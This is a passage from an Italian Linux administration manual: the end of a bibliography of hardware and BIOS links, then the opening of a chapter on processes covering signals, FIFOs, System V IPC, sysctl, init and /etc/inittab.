  ⟨*http://www.computerhope.com/jargon/hdd.htm* ⟩

- *Computer hope*, *Computer interface help and information*

  ⟨*http://www.computerhope.com/help/ide.htm* ⟩

- Charles M. Kozierok, *The PC guide*, *Integrated Drive Electronics / AT Attachment (IDE/ATA) Interface*

  ⟨*http://www.pcguide.com/ref/hdd/if/ide/* ⟩

- *ATA/ATAPI history*, ATA-ATAPI.COM

  ⟨*http://www.ata-atapi.com/hist.html* ⟩

- *The Linux gazette*, numero 57, settembre 2000, Chris Stoddard, *CD-writing with an ATAPI CDR Mini-HOWTO*

  ⟨*http://linuxgazette.net/issue57/stoddard.html* ⟩

- Leroy Davis, *Serial ATA Bus*

  ⟨*http://www.interfacebus.com/Design_Connector_Serial_ATA.html* ⟩

- *Serial ATA (SATA)*

  ⟨*http://www.ata-atapi.com/sata.html* ⟩

- *SATA-IO*

  ⟨*http://www.sata-io.org/* ⟩

  ⟨*http://www.serialata.org/* ⟩

- Charles M. Kozierok, *The PC guide*, *Older bus types*

  ⟨*http://www.pcguide.com/ref/mbsys/buses/types/older-c.html* ⟩

- Steven Nikkel, *AGP Compatibility*

  ⟨*http://www.ertyu.org/steven_nikkel/agpcompatibility.html* ⟩

- *PCI Express*

  ⟨*http://www.pantherproducts.co.uk/Articles/Motherboard/PCI_Express.shtml* ⟩

- Brad Hards, *The Linux USB sub-system*, Sigma Bravo Pty

  ⟨*http://www.linux-usb.org/USB-guide/book1.html* ⟩

- Eric Lammerts, *Linux kernel patches*
  ⟨http://www.lammerts.org/software/kernelpatches/ ⟩
- Willy Tarreau, *Linux-kernel archive*, 2 maggio 2004
  ⟨http://lkml.indiana.edu/hypermail/linux/kernel/0405.0/0252.html ⟩
- *WimsBIOS*
  ⟨http://www.wimsbios.com/ ⟩
- *UniFlash*
  ⟨http://www.rainbow-software.org/uniflash/ ⟩
- *Borg Number One's - BIOS Pages*
  ⟨http://web.archive.org/web/*/bnobtc.pix-art.com/ ⟩
  ⟨http://web.archive.org/web/*/bnobtc.pix-art.com/bnobtc-files/ ⟩
  ⟨http://web.archive.org/web/*/bnobtc.pix-art.com/images/borgbios/biosview/ ⟩
- *Bios-Drivers.com*
  ⟨http://www.bios-drivers.com ⟩
- *Award BIOS upgrades*
  ⟨http://www.award-bios.com ⟩
- *American Megatrends, Inc.*
  ⟨http://www.megatrends.com ⟩
- *Coreboot*
  ⟨http://www.coreboot.org/Welcome_to_coreboot ⟩
- Ron Minnich, *Porting LinuxBIOS to the AMD SC520*
  ⟨http://www.linuxjournal.com/article/8120 ⟩
- *OpenBIOS*
  ⟨http://www.openfirmware.info/Welcome_to_OpenBIOS ⟩
- *U-BOOT*
  ⟨http://u-boot.sourceforge.net ⟩
- *Cbrom repository*
  ⟨http://web.archive.org/web/2006/www.stormpages.com/crazyape/cbrom.html ⟩
- *AMIBCP Repository*
  ⟨http://web.archive.org/web/2006/www.stormpages.com/crazyape/amibcp.html ⟩
- *Awardmod*
  ⟨http://sourceforge.net/projects/awardmod/ ⟩
- *The ROMOS project*
  ⟨http://rayer.ic.cz/romos/romose.htm ⟩
- *BIOS Kompendium*
  ⟨http://www.bios-info.de/download/dlprgs.htm ⟩

- *Modifying your BIOS for fun and profit*
  ⟨http://darkness.codefu.org/wordpress/2003/01/modifying-your-bios-for-fun-and-profit/ ⟩
- *Category 5 10BaseT wiring*
  ⟨http://web.archive.org/web/*/http://www.flowcalcs.com/computer101/Cat_5_10Base-T_Wiring.htm ⟩
- Wikipedia, *Ethernet over twisted pair*
  ⟨http://en.wikipedia.org/wiki/Ethernet_over_twisted_pair ⟩
- *Getting into the BIOS*
  ⟨http://www.inventio.co.uk/gettingintothebios.htm ⟩
- *Getting into the "setup" program during boot-up*
  ⟨http://www.bobjohnson.com/laptopandcomputerinfo/setup.htm ⟩
- Hubert Gregoire, *BIOS et SETUP*
  ⟨http://www.ac-nancy-metz.fr/services/tec/bios.htm ⟩
- *Bios central*
  ⟨http://www.bioscentral.com/ ⟩
- *Total hardware 1999*
  ⟨http://web.archive.org/web/*/http://th99.dyndns.org/ ⟩
- Jarno Niemelä, *Jargon's Driver Museum: BIOS utilities*
  ⟨http://www.drivermuseum.com/files/utils/bios_u.html ⟩
- Matthias Bockelkamp, *Bockelkamp's Homepage*
  ⟨http://mbockelkamp.dyndns.org/mbockelkamp/ ⟩
- *Mastodonic*
  ⟨http://mastodonpc.tripod.com/ ⟩
- Andreas Schwertner, *PROJECT N° 5, Z80-CPU-based microcomputer*
  ⟨http://web.archive.org/web/2004/quisquose.com/project_no5.htm ⟩
- *Hardware Book*
  ⟨http://www.hardwarebook.info/ ⟩
- *Bitsavers*
  ⟨http://www.bitsavers.org ⟩
- John G. Zabolitzky e collaboratori, *Cray-Cyber*
  ⟨http://www.cray-cyber.org/general/start.php ⟩
- John G. Zabolitzky, *Vintage Computer Festival Europe 1.0, MUNIAC*
  ⟨http://www.travelnotes.de/computer/vcfe/muniac.htm ⟩

[1] **Linux PCI utilities** GNU GPL

[2] Questa immagine è di ⟨*borg_no·one (ad) gmx·net*⟩ e viene riutilizzata qui con il suo permesso. L'autore dell'immagine la considera di dominio pubblico. Il sito da cui proveniva questa immagine era *Borg Number One's - BIOS Pages*, attualmente rintracciabile presso *Internet Archive*, all'indirizzo ⟨*http://web.archive.org/web/*/bnobtc.pix-art.com/*⟩.

[3] **UniFlash** GNU GPL

[4] **Cbrom** software non libero

[5] **Awardmod** GNU GPL

[6] **Amibcp** software non libero

[7] **Memtest86+** GNU GPL

[8] **Cmoser** software gratuito

[9] **Dug_ide** software gratuito, accompagnato dai sorgenti

[10] **Bios** software gratuito

[11] **Biosutil** shareware

Capitolo 10

Processi di elaborazione

10.1 Introduzione ai processi ... 456
10.1.1 Tabella dei processi ... 456
10.1.2 Nascita e morte di un processo ... 457
10.1.3 Comunicazione tra processi ... 458
10.1.4 Scheduling e priorità ... 461
10.1.5 Privilegi dei processi ... 462
10.1.6 Variabili di sistema ... 462
10.2 Procedura di inizializzazione del sistema (System V) ... 463
10.2.1 Init ... 464
10.2.2 File di configurazione «/etc/inittab» ... 465
10.2.3 Script «/etc/initscript» ... 468
10.2.4 Procedura di attivazione e disattivazione dei servizi ... 468
10.3 Situazione dei processi ... 472
10.3.1 Process status ... 472
10.3.2 Utilizzo di «ps» ... 475
10.3.3 Utilizzo di «pstree» ... 477
10.3.4 Utilizzo di «top» ... 479
10.3.5 Utilizzo di «htop» ... 480
10.3.6 Determinazione del numero PID ... 482
10.4 Accesso ai file ... 482
10.4.1 Fuser ... 482
10.4.2 Lsof ... 484
10.5 Informazioni riepilogative ... 485
10.5.1 Utilizzo di «uptime» ... 485
10.5.2 Utilizzo di «free» ... 486
10.6 Controllo diagnostico con Strace ... 486
10.7 Invio di segnali ai processi ... 488
10.7.1 Segnali attraverso la tastiera ... 489
10.7.2 Segnali attraverso la shell ... 490
10.7.3 Comandi «kill...» ... 490
10.8 Controllo dei «job» di shell ... 492
10.8.1 Processi in primo piano e processi sullo sfondo ... 492
10.8.2 Avvio di un gruppo di elaborazione sullo sfondo ... 492

10.8.3 Sospensione di un gruppo di elaborazione in primo piano 493
10.8.4 Utilizzo di «jobs» 493
10.8.5 Riferimenti ai gruppi di elaborazione 494
10.8.6 Comando «fg» 495
10.8.7 Comando «bg» 495
10.8.8 Comando «kill» 496

10.9 Cattura dei segnali con la shell 496

10.9.1 Comando «trap» 497

10.10 Trasformare dei programmi comuni in demoni 497

10.10.1 Utilizzo di «nohup» 498
10.10.2 Utilizzo di «daemon» 499

`bg` 495 `daemon` 499 `fg` 495 `free` 486 `fuser` 482 `htop` 480 `initscript` 468 `inittab` 465 `jobs` 493 `kill` 490 496 `killall` 490 `killall5` 490 `lsof` 482 `mkfifo` 458 `nohup` 498 `pidof` 482 `ps` 472 475 `pstree` 472 477 `sysctl.conf` 462 `top` 479 `trap` 497 `uptime` 485

10.1 Introduzione ai processi

Un programma singolo, nel momento in cui viene eseguito, è un ***processo***. La nascita di un processo, cioè l'avvio di un programma, può avvenire solo tramite una richiesta da parte di un altro processo già esistente. Si forma quindi una sorta di gerarchia dei processi organizzata ad albero. Il processo principale (*root*) che genera tutti gli altri, è quello dell'eseguibile '**`init`**' che a sua volta è attivato direttamente dal kernel.

In linea di principio, il programma avviato dal kernel come processo principale, può essere qualunque cosa, anche una shell (tenendo conto, comunque, che il kernel predilige l'eseguibile '`/sbin/init`'), ma in tal caso si tratta di applicazioni specifiche e non di un sistema standard.

Qui si preferisce utilizzare il nome Init per identificare il processo principale, sapendo che questo si concretizza generalmente nell'eseguibile '**`init`**'.

10.1.1 Tabella dei processi

Il kernel gestisce una tabella dei processi che serve a tenere traccia del loro stato. In particolare sono registrati i valori seguenti:

- il nome dell'eseguibile in funzione;
- gli eventuali argomenti passati all'eseguibile al momento dell'avvio attraverso la riga di comando;
- il numero di identificazione del processo;
- il numero di identificazione del processo che ha generato quello a cui si fa riferimento;
- il nome del dispositivo di comunicazione se il processo è controllato da un terminale;

- il numero di identificazione dell'utente;
- il numero di identificazione del gruppo;

Il kernel Linux rende disponibile i dati della tabella dei processi attraverso un file system virtuale innestato nella directory '/proc/'. Dalla presenza di questo file system virtuale dipende la maggior parte dei programmi che si occupano di gestire i processi.

In particolare, a partire da questa directory se ne diramano altre, tante quanti sono i processi in esecuzione, ognuna identificata dal numero del processo stesso. Per esempio, '/proc/1/' contiene i file virtuali che rappresentano lo stato del processo numero uno, ovvero Init che è sempre il primo a essere messo in funzione. Il listato seguente mostra il contenuto che potrebbe avere il file '/proc/1/status'.

```
Name:   init
State:  S (sleeping)
Pid:    1
PPid:   0
Uid:    0       0       0       0
Gid:    0       0       0       0
Groups:
VmSize:      764 kB
VmLck:         0 kB
VmRSS:        16 kB
VmData:       64 kB
VmStk:         4 kB
VmExe:        24 kB
VmLib:       628 kB
SigPnd: 0000000000000000
SigBlk: 0000000000000000
SigIgn: 0000000057f0d8fc
SigCgt: 00000000280b2603
CapInh: 00000000fffffeff
CapPrm: 00000000ffffffff
CapEff: 00000000fffffeff
```

10.1.2 Nascita e morte di un processo

Come già accennato, la nascita di un processo, cioè l'avvio di un programma, può avvenire solo tramite una richiesta da parte di un altro processo già esistente, utilizzando la chiamata di sistema ***fork()***. Per esempio, quando si avvia un programma attraverso il terminale, è l'interprete dei comandi (la shell) che genera il processo corrispondente.

Quando un processo termina, lo fa attraverso la chiamata di sistema ***exit()***, trasformandosi in un processo «defunto», o «zombie». È poi il processo che lo ha generato che si deve occupare di eliminarne le tracce.

Il processo genitore, per avviare l'eliminazione dei suoi processi defunti, deve essere avvisato che ne esiste la necessità attraverso un segnale '**SIGCHLD**'. Questo segnale viene inviato proprio dalla funzione di sistema ***exit()***, ma se il meccanismo non funziona come previsto, si può

inviare manualmente un segnale '**SIGCHLD**' al processo genitore. In mancanza d'altro, si può far terminare l'esecuzione del processo genitore stesso.

Il processo che termina potrebbe avere avviato a sua volta altri processi (figli). In tal caso, questi vengono affidati al processo numero uno, cioè Init.

A volte, l'interruzione di un processo provoca il cosiddetto ***scarico della memoria*** o *core dump*. In pratica si ottiene un file nella directory corrente, contenente l'immagine del processo interrotto. Per tradizione, questo file è denominato '`core`', in onore dei primo tipo di memoria centrale che sia stato utilizzato con un sistema Unix: la memoria a nuclei magnetici, ovvero *core memory*.

Questi file servono a documentare un incidente di funzionamento e a permetterne l'analisi attraverso strumenti diagnostici opportuni. Solitamente questi file possono essere cancellati tranquillamente.

La proliferazione di questi file va tenuta sotto controllo: di solito non ci si rende conto se un processo interrotto ha generato o meno lo scarico della memoria. Ogni tanto vale la pena di fare una ricerca all'interno del file system per rintracciare questi file, come nell'esempio seguente:

```
# find / -name core -type f -print [Invio]
```

Ciò che conta è di non confondere *core* con spazzatura: ci possono essere dei file chiamati '`core`', per qualche motivo, che nulla hanno a che fare con lo scarico della memoria.

10.1.3 Comunicazione tra processi

Nel momento in cui l'attività di un processo dipende da quella di un altro ci deve essere una forma di comunicazione tra i due. Ciò viene definito IPC, o *Inter process communication*, ma questa definizione viene confusa spesso con un tipo particolare di comunicazione definito IPC di System V. I metodi utilizzati normalmente sono di tre tipi: invio di segnali, condotti (flussi di dati FIFO) e IPC di System V.

I ***segnali*** sono dei messaggi elementari che possono essere inviati a un processo, permettendo a questo di essere informato di una condizione particolare che si è manifestata e di potersi uniformare. I programmi possono essere progettati in modo da intercettare questi segnali, allo scopo di compiere alcune operazioni prima di adeguarsi agli ordini ricevuti. Nello stesso modo, un programma potrebbe anche ignorare completamente un segnale, o compiere operazioni diverse da quelle che sarebbero prevedibili per un tipo di segnale determinato. Segue un elenco dei segnali più importanti.

Segnale	Descrizione
SIGINT	È un segnale di interruzione intercettabile, inviato normalmente attraverso la tastiera del terminale, con la combinazione [*Ctrl c*], al processo che si trova a funzionare in primo piano (*foreground*). Di solito, il processo che riceve questo segnale viene interrotto.
SIGQUIT	È un segnale di interruzione intercettabile, inviato normalmente attraverso la tastiera del terminale, con la combinazione [*Ctrl* \], al processo che si trova a funzionare in primo piano. Di solito, il processo che riceve questo segnale viene interrotto.
SIGTERM	È un segnale di conclusione intercettabile, inviato normalmente da un altro processo. Di solito, provoca la conclusione del processo che ne è il destinatario.

Segnale	Descrizione
SIGKILL	È un segnale di interruzione non intercettabile, che provoca la conclusione immediata del processo. Non c'è modo per il processo destinatario di eseguire alcuna operazione di salvataggio o di scarico dei dati.
SIGHUP	È un ***segnale di aggancio*** che rappresenta l'interruzione di una comunicazione. In particolare, quando un utente esegue un *logout*, i processi ancora attivi avviati eventualmente sullo sfondo (*background*) ricevono questo segnale. Può essere generato anche a causa della «morte» del processo controllante.

La tabella 10.3 elenca i segnali descritti dallo standard POSIX, mentre l'elenco completo può essere ottenuto consultando *signal(7)*.

Tabella 10.3. Segnali gestiti dai sistemi GNU/Linux secondo lo standard POSIX.

Segnale	Azione	Descrizione
SIGHUP	A	Il collegamento con il terminale è stato interrotto.
SIGINT	A	Interruzione attraverso un comando dalla tastiera.
SIGQUIT	A	Conclusione attraverso un comando dalla tastiera.
SIGILL	A	Istruzione non valida.
SIGABRT	C	Interruzioni di sistema.
SIGFPE	C	Eccezione in virgola mobile.
SIGKILL	AEF	Conclusione immediata.
SIGSEGV	C	Riferimento non valido a un segmento di memoria.
SIGPIPE	A	Condotto (flusso FIFO) interrotto.
SIGALRM	A	Timer.
SIGTERM	A	Conclusione.
SIGUSR1	A	Primo segnale definibile dall'utente.
SIGUSR2	A	Secondo segnale definibile dall'utente.
SIGCHLD	B	Eliminazione di un processo figlio.
SIGCONT		Riprende l'esecuzione se in precedenza è stato fermato.
SIGTSTOP	DEF	Ferma immediatamente il processo.
SIGTSTP	D	Stop attraverso un comando della tastiera.
SIGTTIN	D	Processo sullo sfondo che richiede dell'input.
SIGTTOU	D	Processo sullo sfondo che deve emettere dell'output.

Le lettere contenute nella seconda colonna rappresentano il comportamento predefinito dei programmi che ricevono tale segnale:

- '**`A`**' termina il processo;
- '**`B`**' il segnale viene ignorato;
- '**`C`**' la memoria viene scaricata (*core dump*);
- '**`D`**' il processo viene fermato;
- '**`E`**' il segnale non può essere catturato;
- '**`F`**' il segnale non può essere ignorato.

L'utente ha a disposizione in particolare due mezzi per inviare segnali ai programmi:

- la combinazione di tasti [*Ctrl c*] che di solito genera l'invio di un segnale '**`SIGINT`**' al processo in esecuzione sul terminale o sulla console attiva;

- l'uso di '**kill**' (programma o comando interno di shell) per inviare un segnale particolare a un processo stabilito.

Attraverso la shell è possibile collegare più processi tra loro in un ***condotto***, come nell'esempio seguente, in modo che lo standard output di uno sia collegato direttamente con lo standard input del successivo.

$ **cat mio_file | sort | lpr** [*Invio*]

Ogni connessione tra un processo e il successivo, evidenziata dalla barra verticale, si comporta come un serbatoio provvisorio di dati ad accesso FIFO (*First in first out*: il primo a entrare è il primo a uscire).

È possibile creare esplicitamente dei ***serbatoi FIFO*** di questo genere, in modo da poterli gestire senza dover fare ricorso alle funzionalità della shell. Questi, sono dei file speciali definiti proprio «FIFO» e vengono creati attraverso il programma '**mkfifo**'. Nell'esempio seguente viene mostrata una sequenza di comandi con i quali, creando due file FIFO, si può eseguire la stessa operazione indicata nel condotto visto poco sopra.

$ **mkfifo fifo1 fifo2** [*Invio*]

Crea due file FIFO: 'fifo1' e 'fifo2'.

$ **cat mio_file >> fifo1 &** [*Invio*]

Invia 'mio_file' a 'fifo1' senza attendere ('**&**').

$ **sort < fifo1 >> fifo2 &** [*Invio*]

Esegue il riordino di quanto ottenuto da 'fifo1' e invia il risultato a 'fifo2' senza attendere ('**&**').

$ **lpr < fifo2** [*Invio*]

Accoda la stampa di quanto ottenuto da 'fifo2'.

I file FIFO, data la loro affinità di funzionamento con i condotti gestiti dalla shell, vengono anche chiamati «*pipe* con nome», contrapponendosi ai condotti normali che a volte vengono detti «*pipe* anonimi».

Quando un processo viene interrotto all'interno di un *condotto* di qualunque tipo, il processo che inviava dati a quello interrotto riceve un segnale '**SIGPIPE**' e si interrompe a sua volta. Dall'altra parte, i processi che ricevono dati da un processo che si interrompe, vedono concludersi il flusso di questi dati e terminano la loro esecuzione in modo naturale. Quando questa situazione viene segnalata, si potrebbe ottenere il messaggio *broken pipe*.

L'IPC di System V è un sistema di comunicazione tra processi sofisticato che permette di gestire code di messaggi, semafori e memoria condivisa. Teoricamente un sistema Unix può essere privo di questa gestione, per esempio un kernel Linux può essere compilato senza questa funzionalità, ma in pratica conviene che sia presente, perché molti programmi ne dipendono. Una delle questioni ricorrenti che riguardano la gestione dell'IPC di System V è la gestione della memoria condivisa. Si accede a queste informazioni con l'aiuto del programma '**sysctl**':

sysctl -a | less [*Invio*]

```
…
kernel.shmmni = 4096
kernel.shmall = 2097152
kernel.shmmax = 33554432
…
```

Generalmente è meglio non toccare questi valori, ma in alcuni documenti si fa riferimento a tale possibilità, per poter utilizzare dei programmi particolarmente pesanti dal punto di vista dell'utilizzo della memoria. A titolo di esempio, volendo raddoppiare il valore della memoria condivisa massima, si potrebbe intervenire così:

sysctl -w kernel.shmmax=67108864 [*Invio*]

Tabella 10.5. Parametri di IPC di System V.

Parametro	Descrizione
SHMMAX	Dimensione massima, in byte, di un segmento di memoria condivisa.
SHMMIN	Dimensione minima di un segmento di memoria condivisa, espresso in byte.
SHMALL	Quantità massima di memoria condivisa che si può usare, espressa byte o in pagine di memoria.
SHMSEG	Quantità massima di segmenti di memoria condivisa per ogni processo elaborativo.
SHMMNI	Quantità massima di segmenti di memoria condivisa per tutto il sistema.
SEMMNI	Quantità massima di insiemi di semafori.
SEMMNS	Quantità massima di semafori per tutto il sistema.
SEMMSL	Quantità massima di semafori per insieme.
SEMMAP	Quantità massima di voci nella mappa dei semafori.
SEMVMX	Valore massimo di semaforo.

10.1.4 Scheduling e priorità

La gestione simultanea dei processi è ottenuta normalmente attraverso la suddivisione del tempo di CPU, in maniera tale che a turno ogni processo abbia a disposizione un breve intervallo di tempo di elaborazione. Il modo con cui vengono regolati questi turni è lo *scheduling*, ovvero la pianificazione di questi processi.

La maggiore o minore percentuale di tempo di CPU che può avere un processo è regolata dalla priorità espressa da un numero. Il numero che rappresenta una priorità deve essere visto al contrario di come si è abituati di solito: un valore elevato rappresenta una priorità bassa, cioè meno tempo a disposizione, mentre un valore basso (o negativo) rappresenta una priorità elevata, cioè più tempo a disposizione.[1]

Sotto questo aspetto diventa difficile esprimersi in modo chiaro: una ***bassa priorità*** si riferisce al numero che ne esprime il valore o alle risorse disponibili? Evidentemente si può solo fare attenzione al contesto per capire bene il significato di ciò che si intende.

La priorità di esecuzione di un processo viene definita in modo autonomo da parte del sistema e può essere regolata da parte dell'utente sommandovi il cosiddetto valore ***nice***. Di conseguenza, un valore nice positivo aumenta il valore della priorità, mentre un valore negativo lo diminuisce.

10.1.5 Privilegi dei processi

Nei sistemi operativi Unix c'è la necessità di distinguere i privilegi concessi agli utenti, definendo un nominativo e un numero identificativo riferito all'utente e al gruppo (o ai gruppi) a cui questo appartiene. L'utente fisico è rappresentato virtualmente dai processi che lui stesso mette in esecuzione; pertanto, un'informazione essenziale riferita ai processi è quella che stabilisce l'appartenenza a un utente e a un gruppo. In altri termini, ogni processo porta con sé l'informazione del numero UID e del numero GID, in base ai quali ottiene i privilegi relativi e gli viene concesso o meno di compiere le operazioni per cui è stato avviato.

10.1.6 Variabili di sistema

I sistemi Unix possono includere una funzionalità denominata Sysctl, con la quale è possibile accedere a delle «variabili di sistema», ovvero dei parametri che controllano il comportamento del kernel. Nei sistemi GNU/Linux è possibile realizzare un kernel sprovvisto di tale funzionalità, ma in generale è meglio che sia inclusa.

L'utente '**root**' può accedere alla lettura e alla modifica di queste variabili di sistema attraverso il programma '**sysctl**':

```
sysctl [opzioni]
```

```
sysctl [opzioni] variabile...
```

```
sysctl [opzioni] -w variabile=valore...
```

Per elencare la situazione di tutte le variabili di sistema si usa normalmente l'opzione '**-a**':

`#` **`sysctl -a`** [*Invio*]

```
sunrpc.nlm_debug = 0
sunrpc.nfsd_debug = 0
sunrpc.nfs_debug = 0
sunrpc.rpc_debug = 0
...
fs.quota.lookups = 0
fs.lease-break-time = 45
fs.dir-notify-enable = 1
fs.leases-enable = 1
fs.overflowgid = 65534
fs.overflowuid = 65534
fs.dentry-state = 200   13      45      0       0       0
fs.file-max = 8192
fs.file-nr = 315        47      8192
fs.inode-state = 216    6       0       0       0       0       0
fs.inode-nr = 216       6
```

L'elenco che si ottiene è comunque più lungo di come si vede da questo esempio. Per conoscere in modo particolare lo stato di una o di alcune variabili basta indicare i loro nomi alla fine della riga di comando:

```
# sysctl kernel.shmmax kernel.domainname [Invio]
```

```
kernel.shmmax = 33554432
kernel.domainname = (none)
```

Per modificare una variabile si usa l'opzione '**-w**':

```
# sysctl -w kernel.shmmax=67108864 [Invio]
```

Generalmente non c'è alcuna necessità di cambiare i valori delle variabili accessibili attraverso Sysctl; tuttavia, se così fosse, potrebbe essere utile fare in modo che tali modifiche vengano ripristinate ogni volta che si riavvia il sistema operativo. Oltre alla possibilità di realizzare uno script eseguito automaticamente in fase di avvio, è possibile intervenire nel file '`/etc/sysctl.conf`', che si compone semplicemente di direttive di assegnamento a variabili che fanno parte di Sysctl:

```
# /etc/sysctl.conf - Configuration file for setting system variables
# See sysctl.conf (5) for information.

kernel.domainname = brot.dg
```

L'esempio mostra l'assegnamento alla variabile '**`kernel.domainname`**' della stringa '**`brot.dg`**'. Si osservi che gli spazi prima e dopo il valore assegnato vengono ignorati. Come si può intuire, il carattere '**#**' introduce un commento che viene ignorato fino alla fine della riga, così come vengono ignorate le righe vuote e quelle bianche.

È bene ribadire che generalmente non c'è alcun bisogno di intervenire nella modifica delle variabili di sistema controllate attraverso Sysctl, pertanto è normale che sia presente il file '`/etc/sysctl.conf`', ma commentato completamente.

10.2 Procedura di inizializzazione del sistema (System V)

Quando un sistema Unix viene avviato, il kernel si prende cura di avviare il processo iniziale, Init, a partire dal quale vengono poi generati tutti gli altri: di solito si utilizza un meccanismo di inizializzazione derivato dallo UNIX System V. Init determina quali siano i processi da avviare successivamente, in base al contenuto di '`/etc/inittab`' il quale a sua volta fa riferimento a script contenuti normalmente all'interno della directory '`/etc/rc.d/`', '`/etc/init.d/`', o in un'altra analoga. All'interno di '`/etc/inittab`' si distinguono azioni diverse in funzione del ***livello di esecuzione*** (*run level*), di solito un numero da zero a sei. Per convenzione, il livello zero identifica le azioni necessarie per fermare l'attività del sistema, in modo da permetterne lo spegnimento; il livello sei riavvia il sistema; il livello uno mette il sistema in condizione di funzionare in modalità monoutente.

L'organizzazione della procedura di inizializzazione del sistema e dei livelli di esecuzione costituisce il punto su cui si distinguono maggiormente le distribuzioni GNU. Benché alla fine si tratti sempre della stessa cosa, il modo di strutturare e di collocare gli script è molto

diverso da una distribuzione all'altra. Quando si acquista più esperienza, ci si accorge che queste differenze non sono poi un grosso problema, ma all'inizio è importante comprendere e accettare che il sistema operativo e la sua distribuzione particolare mostra un'interpretazione della soluzione del problema e non il risultato definitivo.

10.2.1 Init

Init è il processo principale che genera tutti gli altri. All'avvio del sistema legge il file '`/etc/inittab`' il quale contiene le informazioni per attivare gli altri processi necessari, compresa la gestione dei terminali. Per prima cosa viene determinato il livello di esecuzione iniziale, ottenendo l'informazione dalla direttiva '**`initdefault`**' di '`/etc/inittab`'. Quindi vengono attivati i processi essenziali al funzionamento del sistema e infine i processi che combaciano con il livello di esecuzione attivato.

L'eseguibile '**`init`**' può essere invocato dall'utente '**`root`**' durante il funzionamento del sistema, per cambiare il livello di esecuzione, oppure per ottenere il riesame del suo file di configurazione ('`/etc/inittab`'):

```
init [opzioni]
```

Tabella 10.9. Alcune opzioni.

Opzione	Descrizione
`-t` *secondi*	Stabilisce il numero di secondi di attesa prima di cambiare il livello di esecuzione. In mancanza si intende 20 secondi.
`0` | `1` | `2` | `3` | `4` | `5` | `6`	Un numero da zero a sei stabilisce il livello di esecuzione a cui si vuole passare.
`a` | `b` | `c`	Una lettera '**`a`**', '**`b`**' o '**`c`**' richiede di eseguire soltanto i processi indicati all'interno di '`/etc/inittab`' che hanno un livello di esecuzione pari alla lettera specificata. In pratica, una lettera non indica un livello di esecuzione vero e proprio, in quanto si tratta di una possibilità di configurazione del file '`/etc/inittab`' per definire i cosiddetti livelli «a richiesta» (*on demand*).
`Q` | `q`	Richiede di riesaminare il file '`/etc/inittab`' (dopo che questo è stato modificato).
`S` | `s`	Richiede di passare alla modalità monoutente, ma non è pensato per essere utilizzato direttamente, in quanto per questo si preferisce selezionare il livello di esecuzione numero uno.

Segue la descrizione di alcuni esempi.

- `#` **`init 1`** [*Invio*]

  Pone il sistema al livello di esecuzione uno: monoutente.

- `#` **`init 0`** [*Invio*]

  Pone il sistema al livello di esecuzione zero: arresto del sistema. Equivale (in linea di massima) all'esecuzione di '**`shutdown -h now`**'.

- `#` **`init 6`** [*Invio*]

Pone il sistema al livello di esecuzione sei: riavvio. Equivale (in linea di massima) all'esecuzione di '**`shutdown -r now`**'.

10.2.2 File di configurazione «/etc/inittab»

Il file '`inittab`' descrive quali processi vengono avviati al momento dell'avvio del sistema e durante il funzionamento normale di questo. Init, il processo principale, distingue diversi livelli di esecuzione, per ognuno dei quali può essere stabilito un gruppo diverso di processi da avviare.

La struttura dei record (intesi come righe divise in campi) che compongono le direttive di questo file, può essere schematizzata nel modo seguente:

id* : *livelli_di_esecuzione* : *azione* : *processo

I campi vanno interpretati così:

- ***id*** è una sequenza unica di due caratteri che identifica il record (la riga) all'interno di '**`inittab`**';
- ***livelli_di_esecuzione*** elenca i livelli di esecuzione con cui l'azione indicata deve essere eseguita;
- ***azione*** indica l'azione da eseguire;
- ***processo*** specifica il processo da eseguire.

Se il nome del processo inizia con un simbolo '**+**', Init non esegue l'aggiornamento di '`/var/run/utmp`' e '`/var/log/wtmp`' per quel processo; ciò è utile quando il processo stesso provvede da solo a questa operazione (la descrizione del significato e dell'importanza di questi due file si trova nella sezione 18.2).

Il penultimo campo dei record di questo file, identifica l'azione da compiere. Questa viene rappresentata attraverso una parola chiave, come descritto dall'elenco seguente.

Parola chiave	Descrizione
`respawn`	Quando il processo termina, viene riavviato.
`wait`	Il processo viene avviato una volta (sempre che il livello di esecuzione lo consenta) e Init attende che termini prima di eseguirne degli altri.
`once`	Il processo viene eseguito una volta quando il livello di esecuzione lo consente.
`boot`	Il processo viene eseguito al momento dell'avvio del sistema. Il campo del livello di esecuzione viene ignorato.
`bootwait`	Il processo viene eseguito al momento dell'avvio del sistema e Init attende la fine del processo prima di proseguire. Il campo del livello di esecuzione viene ignorato.
`off`	Non fa alcunché.

Parola chiave	Descrizione
`ondemand`	Si tratta dei record «a richiesta» che vengono presi in considerazione quando viene richiamato Init seguito da una lettera '**`a`**', '**`b`**' o '**`c`**', che rappresentano appunto tre possibili livelli di esecuzione *on demand*. Le lettere '**`a`**', '**`b`**' o '**`c`**' non sono livelli di esecuzione, ma solo un modo per selezionare i processi *on demand* indicati all'interno del file '`/etc/inittab`'.
`initdefault`	Permette di definire il livello di esecuzione predefinito per l'avvio del sistema. Se non viene specificato, Init richiede l'inserimento di questo valore attraverso la console.
`sysinit`	Il processo viene eseguito al momento dell'avvio del sistema, prima di quelli indicati come '**`boot`**' e '**`bootwait`**'. Il campo del livello di esecuzione viene ignorato.
`powerwait`	Il processo viene eseguito quando Init riceve il segnale '**`SIGPWR`**' che indica un problema con l'alimentazione elettrica. Init attende la fine del processo prima di proseguire.
`powerfail`	Il processo viene eseguito quando Init riceve il segnale '**`SIGPWR`**' che indica un problema con l'alimentazione elettrica. Init **non** attende la fine del processo.
`powerokwait`	Il processo viene eseguito quando Init ha ricevuto il segnale '**`SIGPWR`**', che indica un problema con l'alimentazione elettrica, ed è anche presente il file '`/etc/powerstatus`' contenente la parola '**`OK`**'. Ciò significa che l'alimentazione elettrica è tornata allo stato di normalità.
`ctrlaltdel`	Il processo viene eseguito quando Init riceve il segnale '**`SIGINT`**'. Ciò significa che è stata premuta la combinazione di tasti [*Ctrl Alt Canc*] ([*Ctrl Alt Del*] nelle tastiere inglesi).
`kbrequest`	Il processo viene eseguito quando Init riceve un segnale dal gestore della tastiera che sta a indicare la pressione di una combinazione speciale di tasti sulla tastiera della console.

Il secondo campo, quello dei livelli di esecuzione, può contenere diversi caratteri che stanno a indicare diversi livelli di esecuzione possibili. Per esempio, la stringa '**`123`**' indica che il processo specificato va eseguito indifferentemente per tutti i livelli di esecuzione da uno a tre. Questo campo può contenere anche una lettera dell'alfabeto: '**`a`**', '**`b`**' o '**`c`**' che sta a indicare un livello a richiesta. Nel caso di azioni del tipo '**`sysinit`**', '**`boot`**' e '**`bootwait`**', il campo del livello di esecuzione viene ignorato.

